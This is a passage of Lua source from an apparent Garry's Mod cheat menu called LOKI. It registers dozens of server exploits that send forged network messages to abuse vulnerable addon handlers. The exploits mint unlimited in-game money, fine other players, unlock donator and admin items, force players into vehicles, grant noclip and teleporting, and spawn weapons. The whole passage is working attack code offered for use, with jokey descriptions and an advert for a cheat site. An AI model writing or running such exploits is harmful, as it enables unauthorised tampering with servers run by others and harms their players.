  4069. LOKI.NetStart( sploit, "SetUpgrade")
  4070. net.WriteTable( { LuaName = v1.LuaName, Amount = LOKI.GetStored( "shekels13" ) } )
  4071. net.SendToServer()
  4072.  
  4073. LOKI.NetStart( sploit, "SellMinerals" )
  4074. net.WriteTable( { Target = LOKI.GetLP() } )
  4075. net.SendToServer()
  4076. end
  4077. end
  4078. end
  4079. end,
  4080. },
  4081. functions = {
  4082. { typ = "players", addr = "shekels13_plyz" },
  4083. { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels13" },
  4084. { typ = "func", Name = "Give shekels", },
  4085. },
  4086. } )
  4087. LOKI.AddExploit( "Money Exploit", {
  4088. desc = "Give yourself a crapton of money",
  4089. severity = 50,
  4090. bools = {enabled = false},
  4091. status = -1,
  4092. times_per_tick = 1,
  4093. vars = {},
  4094. scan = function() return LOKI.ValidNetString( "TakeBetMoney" ) end,
  4095. hooks = {
  4096. Think = function(tbl, sploit)
  4097. LOKI.NetStart( sploit, "TakeBetMoney" )
  4098. net.WriteTable({LOKI.SafeToNumber(LOKI.GetStored( "shekels14" )), LOKI.SafeToNumber(LOKI.GetStored( "shekels14" ))})
  4099. net.SendToServer()
  4100. end,
  4101. },
  4102. functions = {
  4103. { typ = "float", Name = "Amount", min = 1, max = math.huge, default = 1000, addr = "shekels14" },
  4104. { typ = "func", Name = "Give me shekels", },
  4105. },
  4106. } )
  4107. LOKI.AddExploit( "Money Exploit", {
  4108. desc = "Give yourself a crapton of money",
  4109. severity = 50,
  4110. bools = {enabled = false},
  4111. status = -1,
  4112. times_per_tick = 1,
  4113. vars = {},
  4114. scan = function() return LOKI.ValidNetString( "kart_sell" ) end,
  4115. hooks = {
  4116. Think = function(tbl, sploit)
  4117. LOKI.NetStart( sploit, "kart_sell")
  4118. net.WriteString("sw_gokart")
  4119. net.SendToServer()
  4120. end,
  4121. },
  4122. functions = {
  4123. { typ = "func", Name = "Give me shekels", },
  4124. },
  4125. } )
  4126. LOKI.AddExploit( "Money Exploit", {
  4127. desc = "Fine other players for free money",
  4128. severity = 50,
  4129. bools = {enabled = false},
  4130. status = 1,
  4131. times_per_tick = 1,
  4132. vars = {},
  4133. scan = function() return LOKI.ValidNetString( "tickbooksendfine" ) end,
  4134. hooks = {
  4135. Think = function(tbl, sploit)
  4136. local ply_tbl = LOKI.GetStored( "shekels17_plyz", {} )
  4137. local max_dist = LOKI.RecursiveGetVar(TicketBook, {"Config", "TB", "MaxDistance"}, "number")
  4138. if(max_dist) then
  4139. ply_tbl = ents.FindInSphere(LOKI.GetLP():GetPos(), max_dist)
  4140. end
  4141. for k, v in ipairs( ply_tbl ) do
  4142. local t = LOKI.GetStored( "shekels17_plyz", {} )
  4143. if table.HasValue( t, v ) then
  4144. LOKI.NetStart( sploit, "tickbooksendfine")
  4145. net.WriteString(v:SteamID())
  4146. net.WriteTable({LOKI.GetStored("shekels17r", "GET ODIUM.PRO")})
  4147. net.WriteDouble(LOKI.SafeToNumber(LOKI.GetStored("shekels17", 1500)), 32)
  4148. net.SendToServer()
  4149. end
  4150. end
  4151. end,
  4152. },
  4153. functions = {
  4154. { typ = "players", addr = "shekels17_plyz" },
  4155. { typ = "float", Name = "Amount", min = 1, max = (LOKI.RecursiveGetVar(TicketBook, {"Config", "Fine", "Max"}, "number") || 5000), default = 1000, addr = "shekels17" },
  4156. { typ = "string", Name = "Fine Reason", default = "GET ODIUM.PRO", addr = "shekels17r" },
  4157. { typ = "bool", Name = "Give me shekels", },
  4158. },
  4159. } )
  4160. LOKI.AddExploit( "Money Exploit", {
  4161. desc = "Give yourself a crapton of money",
  4162. severity = 50,
  4163. bools = {enabled = false},
  4164. status = 2,
  4165. times_per_tick = 1,
  4166. vars = {},
  4167. scan = function() return LOKI.ValidNetString( "hhh_request" ) end,
  4168. hooks = {
  4169. Think = function(tbl, sploit)
  4170. local hitRequest = {hitman = LOKI.GetLP(), requester = LOKI.GetLP(), target = table.Random(player.GetAll()), reward = LOKI.SafeToNumber(LOKI.GetStored("shekels18", 1500))}
  4171.  
  4172. LOKI.NetStart( sploit, 'hhh_request' )
  4173. net.WriteTable( hitRequest )
  4174. net.SendToServer()
  4175. end,
  4176. },
  4177. functions = {
  4178. { typ = "float", Name = "Amount", min = 1, max = math.huge, default = 1000, addr = "shekels18" },
  4179. { typ = "func", Name = "Give me shekels", },
  4180. },
  4181. } )
  4182. LOKI.AddExploit( "Money Exploit", {
  4183. desc = "Ez money",
  4184. severity = 50,
  4185. bools = {enabled = false},
  4186. status = 1,
  4187. times_per_tick = 1,
  4188. vars = {},
  4189. scan = function() return LOKI.ValidNetString( "DaHit" ) end,
  4190. hooks = {
  4191. Think = function(tbl, sploit)
  4192. LOKI.NetStart( sploit, "DaHit" )
  4193. net.WriteFloat( -LOKI.SafeToNumber(LOKI.GetStored("shekels19", 1500)) )
  4194. net.WriteEntity( LOKI.GetLP() )
  4195. net.WriteEntity( LOKI.GetLP() )
  4196. net.WriteEntity( LOKI.GetLP() )
  4197. net.SendToServer()
  4198. end,
  4199. },
  4200. functions = {
  4201. { typ = "float", Name = "Amount", min = 1, max = math.huge, default = 1000, addr = "shekels19" },
  4202. { typ = "func", Name = "Give me shekels", },
  4203. },
  4204. } )
  4205. LOKI.AddExploit( "Money Exploit", {
  4206. desc = "Just a Taxi Driver trying to make an honest living",
  4207. severity = 50,
  4208. bools = {enabled = false},
  4209. status = 1,
  4210. times_per_tick = 1,
  4211. vars = {},
  4212. scan = function() return LOKI.ValidNetString( "NET_EcSetTax" ) end,
  4213. hooks = {
  4214. Think = function(tbl, sploit)
  4215. LOKI.NetStart( sploit, "NET_EcSetTax" )
  4216. net.WriteInt(LOKI.GetStored("shekels21", 1000), 16)
  4217. net.SendToServer()
  4218. end,
  4219. },
  4220. functions = {
  4221. { typ = "float", Name = "Amount", min = 1, max = (math.pow(2, 16)-1)/2, default = 1000, addr = "shekels21" },
  4222. { typ = "func", Name = "Give me shekels", },
  4223. },
  4224. } )
  4225. LOKI.AddExploit( "Money Exploit", {
  4226. desc = "Just an Irish Farmer trying to make an honest living",
  4227. severity = 50,
  4228. bools = {enabled = false},
  4229. status = 1,
  4230. times_per_tick = 1,
  4231. vars = {},
  4232. prevalidated = true,
  4233. scan = function() return LOKI.ValidNetString( "FARMINGMOD_ADDITEM", "FARMINGMOD_SELLITEM" ) end,
  4234. hooks = {
  4235. Think = function(tbl, sploit)
  4236. local tbl = {}
  4237. local r_tbl = LOKI.RecursiveGetVar(_G, {"FARMINGMOD", "crops"}, "table")
  4238. if(r_tbl) then
  4239. for _, crop in pairs(r_tbl) do
  4240. if(crop.sell && !tbl.sell || crop.sell > tbl.sell) then
  4241. tbl = crop
  4242. end
  4243. end
  4244. local quantity = (LOKI.GetStored("shekels22", 1000) / tbl.sell) + 1
  4245. local recurse = math.Round(quantity / ((math.pow(2, 16)-1)/2))
  4246. for i=0,recurse do
  4247. if(recurse > 1) then
  4248. quantity = quantity - ((math.pow(2, 16)-1)/2)
  4249. end
  4250. local quant = math.Clamp(quantity, 1, ((math.pow(2, 16)-1)/2))
  4251. LOKI.NetStart( sploit, "FARMINGMOD_ADDITEM", true )
  4252. net.WriteTable(tbl)
  4253. net.WriteInt(quant, 16)
  4254. net.SendToServer()
  4255. LOKI.NetStart( sploit, "FARMINGMOD_SELLITEM", true )
  4256. net.WriteTable(tbl)
  4257. net.WriteInt(quant, 16)
  4258. net.SendToServer()
  4259. end
  4260. else
  4261. sploit.status = 3
  4262. end
  4263. end,
  4264. },
  4265. functions = {
  4266. { typ = "float", Name = "Amount", min = 1, max = math.huge, default = 1000, addr = "shekels22" },
  4267. { typ = "func", Name = "Give me shekels", },
  4268. },
  4269. } )
  4270. LOKI.AddExploit( "Money Exploit", {
  4271. desc = "Inverse the polarity of the servers moral compass",
  4272. severity = 50,
  4273. bools = {enabled = false},
  4274. status = 1,
  4275. times_per_tick = math.huge,
  4276. count = {
  4277. ["Active"] = 6,
  4278. ["Total"] = 6,
  4279. },
  4280. scan = function() return LOKI.DynamicNetString("credit_") && net.Receivers["credit_gui_loan"] end,
  4281. hooks = {
  4282. net = {
  4283. WriteDouble = function(sploit, varargs)
  4284. local CMOD_Messages = {
  4285. ["credit_"] = true,
  4286. }
  4287. for k, v in pairs(CMOD_Messages) do
  4288. if(sploit.bools.enabled && LOKI.NetOutgoingMsg && LOKI.NetOutgoingMsg:find(k)) then
  4289. varargs[1] = -varargs[1]
  4290. break
  4291. end
  4292. end
  4293. end,
  4294. },
  4295. },
  4296. functions = {
  4297. { typ = "bool" },
  4298. },
  4299. } )
  4300. LOKI.AddExploit( "Money Exploit", {
  4301. desc = "Show the server your empty wallet and see if it feels guilty",
  4302. severity = 50,
  4303. bools = {enabled = false},
  4304. status = 1,
  4305. times_per_tick = 1,
  4306. count = {
  4307. ["Active"] = 1,
  4308. ["Total"] = 1,
  4309. },
  4310. scan = function() return LOKI.ValidNetString("lp2PrinterCart") end,
  4311. hooks = {
  4312. util = {
  4313. TableToJSON = function(sploit, varargs)
  4314. if(varargs[1].fullPrice && sploit.bools.freeprint) then
  4315. varargs[1].fullPrice = 0
  4316. //varargs[1].product1 = "worldspawn"
  4317. end
  4318. end,
  4319. },
  4320. },
  4321. functions = {
  4322. { typ = "bool", ToggleText = {"Free Printers"}, border = true, bool = "freeprint" },
  4323. },
  4324. } )
  4325. LOKI.AddExploit( "Money Exploit", {
  4326. desc = "Pay your negative debts",
  4327. severity = 50,
  4328. bools = {enabled = false},
  4329. status = 1,
  4330. times_per_tick = 1,
  4331. vars = {},
  4332. scan = function() return LOKI.ValidNetString( "FOC_ClaimPay" ) end,
  4333. hooks = {
  4334. Think = function(tbl, sploit)
  4335. LOKI.NetStart( sploit, "FOC_ClaimPay" )
  4336. net.WriteInt(LOKI.GetStored("shekels23", 1000), 32)
  4337. net.SendToServer()
  4338. end,
  4339. },
  4340. functions = {
  4341. { typ = "float", Name = "Amount", min = 1, max = (math.pow(2, 32)-1)/2, default = 1000, addr = "shekels23" },
  4342. { typ = "func", Name = "Give me shekels", },
  4343. },
  4344. } )
  4345. LOKI.AddExploit( "Money Exploit", {
  4346. desc = "Pickpocket repeater",
  4347. severity = 50,
  4348. bools = {enabled = false},
  4349. status = 1,
  4350. times_per_tick = 1,
  4351. vars = {},
  4352. scan = function() return LOKI.ValidNetString( "fixg" ) end,
  4353. hooks = {
  4354. Think = function(tbl, sploit)
  4355. if(IsValid(LOKI.GetLP():GetNW2Entity("rgg"))) then
  4356. LOKI.NetStart( sploit, "fixg" )
  4357. net.WriteEntity(LOKI.GetLP():GetNW2Entity("rgg"))
  4358. net.SendToServer()
  4359. end
  4360. end,
  4361. },
  4362. functions = {
  4363. { typ = "bool" },
  4364. },
  4365. } )
  4366. LOKI.AddExploit( "Money Exploit", {
  4367. desc = "It would appear that crime does pay",
  4368. severity = 50,
  4369. bools = {enabled = false},
  4370. status = 1,
  4371. times_per_tick = math.huge,
  4372. scan = function() return LOKI.ValidNetString( "dialogReward" ) end,
  4373. hooks = {
  4374. Think = function(tbl, sploit)
  4375. LOKI.NetStart( sploit, "dialogReward" )
  4376. net.WriteInt( LOKI.GetStored("scpmx_money", 1000), 32 )
  4377. net.WriteInt( LOKI.GetStored("scpmx_points", 1000), 32 )
  4378. net.SendToServer()
  4379. end,
  4380. },
  4381. functions = {
  4382. { typ = "float", Name = "Money", min = 1, max = (math.pow(2, 32)-1)/2, default = 1000, addr = "scpmx_money" },
  4383. { typ = "float", Name = "Points", min = 1, max = (math.pow(2, 32)-1)/2, default = 1000, addr = "scpmx_points" },
  4384. { typ = "func", Name = "Do it", },
  4385. },
  4386. } )
  4387. LOKI.AddExploit( "Money Exploit", {
  4388. desc = "Buy currency with your mothers credit card",
  4389. severity = 50,
  4390. bools = {enabled = false},
  4391. status = 1,
  4392. times_per_tick = math.huge,
  4393. scan = function() return LOKI.ValidNetString( "PurchaseGun" ) end,
  4394. hooks = {
  4395. Think = function(tbl, sploit)
  4396. LOKI.NetStart( sploit, "PurchaseGun" )
  4397. net.WriteInt( LOKI.GetStored("scpmx2_money", 1000), 16 )
  4398. net.SendToServer()
  4399. end,
  4400. },
  4401. functions = {
  4402. { typ = "float", Name = "Money", min = 1, max = (math.pow(2, 16)-1)/2, default = 1000, addr = "scpmx2_money" },
  4403. { typ = "func", Name = "Do it", },
  4404. },
  4405. } )
  4406. LOKI.AddExploit( "Money Exploit", {
  4407. desc = "Rob the server bank",
  4408. severity = 50,
  4409. bools = {enabled = false},
  4410. status = 1,
  4411. times_per_tick = math.huge,
  4412. scan = function() return LOKI.ValidNetString( "popupgivereward" ) end,
  4413. hooks = {
  4414. Think = function(tbl, sploit)
  4415. LOKI.NetStart( sploit, "popupgivereward" )
  4416. net.WriteInt( LOKI.GetStored("scpmx3_money", 1), 32 )
  4417. net.SendToServer()
  4418. end,
  4419. },
  4420. functions = {
  4421. { typ = "float", Name = "Days", min = 1, max = 7, default = 1, addr = "scpmx3_money" },
  4422. { typ = "func", Name = "Do it", },
  4423. },
  4424. } )
  4425. LOKI.AddExploit( "Money Exploit", {
  4426. desc = "Win the lottery",
  4427. severity = 50,
  4428. bools = {enabled = false},
  4429. status = 1,
  4430. times_per_tick = math.huge,
  4431. scan = function() return LOKI.ValidNetString( "PurchaseAmmo" ) end,
  4432. hooks = {
  4433. Think = function(tbl, sploit)
  4434. LOKI.NetStart( sploit, "PurchaseAmmo" )
  4435. net.WriteInt( LOKI.GetStored("scpmx4_money", 1000), 16 )
  4436. net.SendToServer()
  4437. end,
  4438. },
  4439. functions = {
  4440. { typ = "float", Name = "Money", min = 1, max = math.floor((math.pow(2, 16)-1)/2), default = 1000, addr = "scpmx4_money" },
  4441. { typ = "func", Name = "Do it", },
  4442. },
  4443. } )
  4444. LOKI.AddExploit( "Money Exploit", {
  4445. desc = "Man these negative taxes sure are great!",
  4446. severity = 50,
  4447. bools = {enabled = false},
  4448. status = 1,
  4449. times_per_tick = math.huge,
  4450. scan = function() return LOKI.ValidNetString( "givemoneyonetime" ) end,
  4451. hooks = {
  4452. Think = function(tbl, sploit)
  4453. LOKI.NetStart( sploit, "givemoneyonetime" )
  4454. net.WriteString(-tonumber(LOKI.GetStored("mx24", 1000)))
  4455. net.SendToServer()
  4456. end,
  4457. },
  4458. functions = {
  4459. { typ = "float", Name = "Money", min = 1, max = math.huge, default = 1000, addr = "mx24" },
  4460. { typ = "func", Name = "Do it", },
  4461. },
  4462. } )
  4463. LOKI.AddExploit( "Money Exploit", {
  4464. desc = "It's tax collection day and you've earned negative money this year!",
  4465. severity = 50,
  4466. bools = {enabled = false},
  4467. status = 1,
  4468. times_per_tick = math.huge,
  4469. scan = function() return LOKI.ValidNetString( "take_my_cash" ) end,
  4470. hooks = {
  4471. Think = function(tbl, sploit)
  4472. LOKI.NetStart( sploit, "take_my_cash" )
  4473. net.WriteString(-tonumber(LOKI.GetStored("mx24", 1000)))
  4474. net.SendToServer()
  4475. end,
  4476. },
  4477. functions = {
  4478. { typ = "float", Name = "Money", min = 1, max = math.huge, default = 1000, addr = "mx24" },
  4479. { typ = "func", Name = "Do it", },
  4480. },
  4481. } )
  4482. LOKI.AddExploit( "Points Exploit", {
  4483. desc = "PacMan would disapprove (causes server-side errors, only sometimes works)",
  4484. severity = 50,
  4485. bools = {enabled = false},
  4486. status = 1,
  4487. times_per_tick = math.huge,
  4488. scan = function() return LOKI.ValidNetString( "IntercomPlay" ) end,
  4489. hooks = {
  4490. Think = function(tbl, sploit)
  4491. for i=0, tonumber(LOKI.GetStored("scpmx5_points", 1000)) do
  4492. LOKI.NetStart( sploit, "IntercomPlay" )
  4493. net.SendToServer()
  4494. end
  4495. end,
  4496. },
  4497. functions = {
  4498. { typ = "float", Name = "Points", min = 1, max = math.huge, default = 1000, addr = "scpmx5_points" },
  4499. { typ = "func", Name = "Do it", },
  4500. },
  4501. } )
  4502. LOKI.AddExploit( "Donator Exploit", {
  4503. desc = "Become a Pay2Win player for free",
  4504. severity = 50,
  4505. bools = {enabled = false},
  4506. status = 1,
  4507. times_per_tick = math.huge,
  4508. scan = function() return LOKI.ValidNetString( "createvalue" ) end,
  4509. hooks = {
  4510. Think = function(tbl, sploit)
  4511. LOKI.NetStart( sploit, "createvalue" )
  4512. net.WriteString( "donatelevel" )
  4513. net.WriteInt( LOKI.GetStored("donate1", 6), 16 )
  4514. net.SendToServer()
  4515. end,
  4516. },
  4517. functions = {
  4518. { typ = "float", Name = "Level", min = 1, max = (math.pow(2, 16)-1)/2, default = 6, addr = "donate1" },
  4519. { typ = "func", Name = "Do it", },
  4520. },
  4521. } )
  4522. LOKI.AddExploit( "Inventory Exploit", {
  4523. desc = "Buy any item (even donator/admin restricted)",
  4524. severity = 50,
  4525. bools = {enabled = false},
  4526. status = 1,
  4527. times_per_tick = 1,
  4528. scan = function() return LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table") != false || LOKI.RecursiveGetVar(_G, {"FARMINGMOD"}, "table") != false || LOKI.RecursiveGetVar(_G, {"FISHINGMOD"}, "table") != false end,
  4529. count = {
  4530. ["Active"] = 0,
  4531. ["Total"] = 3,
  4532. },
  4533. initial = function(sploit)
  4534. if(sploit.count.Active == 0) then
  4535. local CMOD_Messages = {
  4536. ["CRAFTINGMOD"] = true,
  4537. ["FARMINGMOD"] = true,
  4538. ["FISHINGMOD"] = true,
  4539. }
  4540. for k, v in pairs(CMOD_Messages) do
  4541. if(LOKI.DynamicNetString(k)) then
  4542. sploit.count.Active = sploit.count.Active + 1
  4543. end
  4544. end
  4545. end
  4546. end,
  4547. hooks = {
  4548. Think = function(tbl, sploit)
  4549. if(tbl[1] == 1) then
  4550. local CMOD = LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table")
  4551. if(CMOD) then
  4552. LOKI.Menu:SetVisible(false)
  4553. local buy_tbl = {}
  4554. for k, v in pairs(CMOD) do
  4555. if(LOKI.ValidTable(v) && v.LIST) then
  4556. for k2, v2 in pairs(v.LIST) do
  4557. if(v2.BUY) then
  4558. if(!v2.MODEL) then
  4559. v2.MODEL = "models/error.mdl"
  4560. end
  4561. table.insert(buy_tbl, v2)
  4562. end
  4563. end
  4564. end
  4565. end
  4566. CMOD.PANELS.Shop_ = buy_tbl
  4567. CMOD.PANELS.Shop_Entity = ents.FindByClass("CRAFTINGMOD_SHOP")[1] || Entity(0)
  4568. CMOD.PANELS:CreateShop()
  4569. end
  4570. elseif(tbl[1] == 2) then
  4571. local Shop = LOKI.RecursiveGetVar(_G, {"FARMINGMOD", "Shop"}, "function")
  4572. if(Shop) then
  4573. Shop(FARMINGMOD)
  4574. LOKI.Menu:SetVisible(false)
  4575. end
  4576. elseif(tbl[1] == 3) then
  4577. local Shop = LOKI.RecursiveGetVar(_G, {"FISHINGMOD", "Menu", "CreateShop"}, "function")
  4578. if(Shop) then
  4579. Shop(FISHINGMOD.Menu)
  4580. LOKI.Menu:SetVisible(false)
  4581. end
  4582. end
  4583. end,
  4584. net = {
  4585. WriteTable = function(sploit, varargs)
  4586. if(istable(varargs[1])) then
  4587. for k, v in pairs(varargs[1]) do
  4588. if(isfunction(v)) then
  4589. varargs[1][k] = nil
  4590. end
  4591. end
  4592. end
  4593. end,
  4594. },
  4595. },
  4596. functions = {
  4597. { typ = "func", Name = "Mining Shop", args = {1}, required = LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table") != false},
  4598. { typ = "func", Name = "Farming Shop", args = {2}, required = LOKI.RecursiveGetVar(_G, {"FARMINGMOD"}, "table") != false},
  4599. { typ = "func", Name = "Fishing Shop", args = {3}, required = LOKI.RecursiveGetVar(_G, {"FISHINGMOD"}, "table") != false},
  4600. },
  4601. } )
  4602. LOKI.AddExploit( "Inventory Exploit", {
  4603. desc = "Inverse the polarity of the servers moral compass",
  4604. severity = 1,
  4605. bools = {enabled = false},
  4606. status = 1,
  4607. times_per_tick = math.huge,
  4608. count = {
  4609. ["Active"] = 0,
  4610. ["Total"] = 9,
  4611. },
  4612. scan = function() return LOKI.DynamicNetString("CRAFTINGMOD") || LOKI.DynamicNetString("FARMINGMOD") || LOKI.DynamicNetString("FISHINGMOD") end,
  4613. initial = function(sploit)
  4614. if(sploit.count.Active == 0) then
  4615. local CMOD_Messages = {
  4616. ["CRAFTINGMOD"] = true,
  4617. ["FARMINGMOD"] = true,
  4618. ["FISHINGMOD"] = true,
  4619. }
  4620. for k, v in pairs(CMOD_Messages) do
  4621. if(LOKI.DynamicNetString(k)) then
  4622. sploit.count.Active = sploit.count.Active + 3
  4623. end
  4624. end
  4625. end
  4626. end,
  4627. hooks = {
  4628. net = {
  4629. WriteInt = function(sploit, varargs)
  4630. local CMOD_Messages = {
  4631. ["CRAFTINGMOD"] = true,
  4632. ["FARMINGMOD"] = true,
  4633. ["FISHINGMOD"] = true,
  4634. }
  4635. for k, v in pairs(CMOD_Messages) do
  4636. if(sploit.bools.enabled && LOKI.NetOutgoingMsg && LOKI.NetOutgoingMsg:find(k)) then
  4637. varargs[1] = -varargs[1]
  4638. break
  4639. end
  4640. end
  4641. end,
  4642. },
  4643. },
  4644. functions = {
  4645. { typ = "bool" },
  4646. },
  4647. } )
  4648. LOKI.AddExploit( "Inventory Exploit", {
  4649. desc = "Convince the NPCs that you're a worthy charity",
  4650. severity = 1,
  4651. bools = {enabled = false},
  4652. status = 1,
  4653. times_per_tick = math.huge,
  4654. count = {
  4655. ["Active"] = 2,
  4656. ["Total"] = 2,
  4657. },
  4658. scan = function() return LOKI.DynamicNetString("BuyFromShopNPC") end,
  4659. hooks = {
  4660. net = {
  4661. WriteTable = function(sploit, varargs)
  4662. if(sploit.bools.enabled && istable(varargs[1]) && varargs[1].price && LOKI.NetOutgoingMsg && LOKI.NetOutgoingMsg:find("BuyFromShopNPC")) then
  4663. varargs[1].price = 0
  4664. end
  4665. end,
  4666. },
  4667. },
  4668. functions = {
  4669. { typ = "bool" },
  4670. },
  4671. } )
  4672. LOKI.AddExploit( "Vehicle Exploit", {
  4673. desc = "Give yourself a preset car",
  4674. severity = 50,
  4675. bools = {enabled = false},
  4676. status = 1,
  4677. times_per_tick = 1,
  4678. vars = {},
  4679. scan = function() return LOKI.ValidNetString( "race_accept" ) end,
  4680. hooks = {
  4681. Think = function(tbl, sploit)
  4682. LOKI.NetStart( sploit, "race_accept")
  4683. net.SendToServer()
  4684. end,
  4685. },
  4686. functions = {
  4687. { typ = "func", Name = "Give me wheels", },
  4688. },
  4689. } )
  4690. LOKI.AddExploit( "Vehicle Exploit", {
  4691. desc = "Force any player into a vehicle",
  4692. severity = 1,
  4693. bools = {enabled = false},
  4694. status = 1,
  4695. times_per_tick = math.huge,
  4696. scan = function() return LOKI.ValidNetString( "simfphys_request_seatswitch" ) end,
  4697. hooks = {
  4698. Think = function(tbl, sploit)
  4699. local exploit = function(pl,veh,s)
  4700. LOKI.NetStart( sploit, "simfphys_request_seatswitch", true )
  4701. net.WriteEntity(veh)
  4702. net.WriteEntity(pl)
  4703. net.WriteInt(s, 32)
  4704. net.SendToServer()
  4705. end
  4706.  
  4707. local ply = LOKI.GetStored("vx_ply", {})[1]
  4708. local vehicle = LOKI.GetStored("vx_veh", {})[1]
  4709. local seat = nil
  4710. local pSeats = {}
  4711.  
  4712. if(IsValid(ply) && IsValid(vehicle)) then
  4713. if(isfunction(vehicle.GetRPM) && !IsValid( vehicle:GetDriver() )) then
  4714. return exploit(ply, vehicle, 0)
  4715. end
  4716. for k, v in ipairs(ents.GetAll()) do
  4717. if(v:GetParent() == vehicle) then
  4718. table.insert(pSeats, v)
  4719. end
  4720. end
  4721. for k, v in ipairs(pSeats) do
  4722. for k2, v2 in ipairs(player.GetAll()) do
  4723. if(v2:GetVehicle() == v) then
  4724. continue
  4725. end
  4726. end
  4727. return exploit(ply, vehicle, k)
  4728. end
  4729. end
  4730. end,
  4731. },
  4732. functions = {
  4733. { typ = "player", addr = "vx_ply", Name = "Player" },
  4734. { typ = "entity", addr = "vx_veh", Name = "Vehicle", tbl = function() return LOKI.ents.FindByGlobal("GetDriverSeat") end },
  4735. { typ = "func", Name = "Do it", },
  4736. },
  4737. } )
  4738. LOKI.AddExploit( "NoClip Exploit", {
  4739. desc = "Enter the spirit realm",
  4740. severity = 95,
  4741. bools = {enabled = false},
  4742. status = 1,
  4743. times_per_tick = 0,
  4744. vars = {},
  4745. scan = function() return LOKI.ValidNetString( "flyover_git" ) end,
  4746. OnEnable = function(var, sploit)
  4747. if(var != "noclip") then return end
  4748. local pos = LOKI.GetLP():GetPos()
  4749. LOKI.NetStart( sploit, "flyover_git")
  4750. net.WriteString(tostring(pos.x).." "..tostring(pos.y).." "..tostring(pos.z))
  4751. net.SendToServer()
  4752. end,
  4753. OnDisable = function(var, sploit)
  4754. if(var != "noclip") then return end
  4755. local pos = LOKI.GetLP():GetPos()
  4756. LOKI.NetStart( sploit, "fly_over_end")
  4757. net.WriteString(tostring(pos.x).." "..tostring(pos.y).." "..tostring(pos.z))
  4758. net.SendToServer()
  4759. end,
  4760. hooks = {
  4761. Think = function(tbl, sploit)
  4762. local pos = LOKI.Freecam.EyePos() - (LOKI.GetLP():EyePos() - LOKI.GetLP():GetPos())
  4763. LOKI.NetStart( sploit, "fly_over_end")
  4764. net.WriteString(tostring(pos.x).." "..tostring(pos.y).." "..tostring(pos.z))
  4765. net.SendToServer()
  4766. end,
  4767. },
  4768. functions = {
  4769. { typ = "bool", ToggleText = {"NoClip"}, border = true, bool = "noclip" },
  4770. { typ = "func", Name = "Teleport" },
  4771. },
  4772. } )
  4773. LOKI.AddExploit( "NoClip Exploit", {
  4774. desc = "Enter the spirit realm",
  4775. severity = 95,
  4776. bools = {enabled = false},
  4777. status = 1,
  4778. times_per_tick = 0,
  4779. vars = {},
  4780. scan = function() return LOKI.ValidNetString( "079ServerAction" ) end,
  4781. hooks = {
  4782. CreateMove = function(tbl, sploit)
  4783. if(sploit.bools.enabled && LOKI.Freecam.Enabled == true) then
  4784. local pos = LOKI.Freecam.EyePos() - (LOKI.GetLP():EyePos() - LOKI.GetLP():GetPos())
  4785. LOKI.NetStart(sploit, "079ServerAction")
  4786. net.WriteString("Move")
  4787. net.WriteVector(pos)
  4788. net.SendToServer()
  4789. end
  4790. end,
  4791. },
  4792. functions = {
  4793. { typ = "bool" },
  4794. },
  4795. } )
  4796. LOKI.AddExploit( "NoClip Exploit", {
  4797. desc = "Enter the spirit realm",
  4798. severity = 95,
  4799. bools = {enabled = false},
  4800. status = 1,
  4801. times_per_tick = 0,
  4802. vars = {},
  4803. scan = function() return LOKI.ValidNetString( "XMH_TeleportPlayer" ) end,
  4804. hooks = {
  4805. CreateMove = function(tbl, sploit)
  4806. if(sploit.bools.enabled && LOKI.Freecam.Enabled == true) then
  4807. local pos = LOKI.Freecam.EyePos() - (LOKI.GetLP():EyePos() - LOKI.GetLP():GetPos())
  4808. LOKI.NetStart(sploit, "XMH_TeleportPlayer")
  4809. net.WriteVector(pos)
  4810. net.SendToServer()
  4811. end
  4812. end,
  4813. },
  4814. functions = {
  4815. { typ = "bool" },
  4816. },
  4817. } )
  4818. LOKI.AddExploit( "Vehicle Exploit", {
  4819. desc = "Give yourself a firetruck",
  4820. severity = 50,
  4821. bools = {enabled = false},
  4822. status = 1,
  4823. times_per_tick = 1,
  4824. vars = {},
  4825. scan = function() return LOKI.ValidNetString( "race_accept" ) end,
  4826. hooks = {
  4827. Think = function(tbl, sploit)
  4828. LOKI.NetStart( sploit, "FIRE_CreateFireTruck")
  4829. net.SendToServer()
  4830. end,
  4831. },
  4832. functions = {
  4833. { typ = "func", Name = "Give me wheels", },
  4834. },
  4835. } )
  4836. LOKI.AddExploit( "Weapons Exploit", {
  4837. desc = "Give yourself any weapon",
  4838. severity = 50,
  4839. bools = {enabled = false},
  4840. status = -1,
  4841. times_per_tick = 1,
  4842. vars = {},
  4843. scan = function() return LOKI.ValidNetString( "give_me_weapon" ) end,
  4844. hooks = {
  4845. Think = function(tbl, sploit)
  4846. LOKI.NetStart( sploit, "give_me_weapon")
  4847. net.WriteString(LOKI.GetStored( "weapons1" ))
  4848. net.SendToServer()
  4849. end,
  4850. },
  4851. functions = {
  4852. { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons1" },
  4853. { typ = "func", Name = "Give me artillery", },
  4854. },
  4855. } )
  4856. LOKI.AddExploit( "Weapons Exploit", {
  4857. desc = "Give yourself an explosion spell",
  4858. severity = 50,
  4859. bools = {enabled = false},
  4860. status = 1,
  4861. times_per_tick = 1,
  4862. vars = {},
  4863. scan = function() return LOKI.ValidNetString( "hpwrewrite_achievement1" ) end,
  4864. hooks = {
  4865. Think = function(tbl, sploit)
  4866. LOKI.NetStart( sploit, "hpwrewrite_achievement1")
  4867. net.SendToServer()
  4868. end,
  4869. },
  4870. functions = {
  4871. { typ = "func", Name = "Give me artillery", },
  4872. },
  4873. } )
  4874. LOKI.AddExploit( "Weapons Exploit", {
  4875. desc = "Give yourself any weapon",
  4876. severity = 50,
  4877. bools = {enabled = false},
  4878. status = -1,
  4879. times_per_tick = math.huge,
  4880. scan = function() return LOKI.ValidNetString( "CraftSomething" ) end,
  4881. hooks = {
  4882. Think = function(tbl, sploit)
  4883. LOKI.NetStart( sploit, "CraftSomething" )
  4884. net.WriteEntity( LOKI.GetLP() )
  4885. net.WriteString( LOKI.GetStored( "weapons2" ) )
  4886. net.WriteString( "" )
  4887. net.WriteString( "weapon" )
  4888. net.SendToServer()
  4889. end,
  4890. },
  4891. functions = {
  4892. { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons2" },
  4893. { typ = "func", Name = "Give me artillery", },
  4894. },
  4895. } )
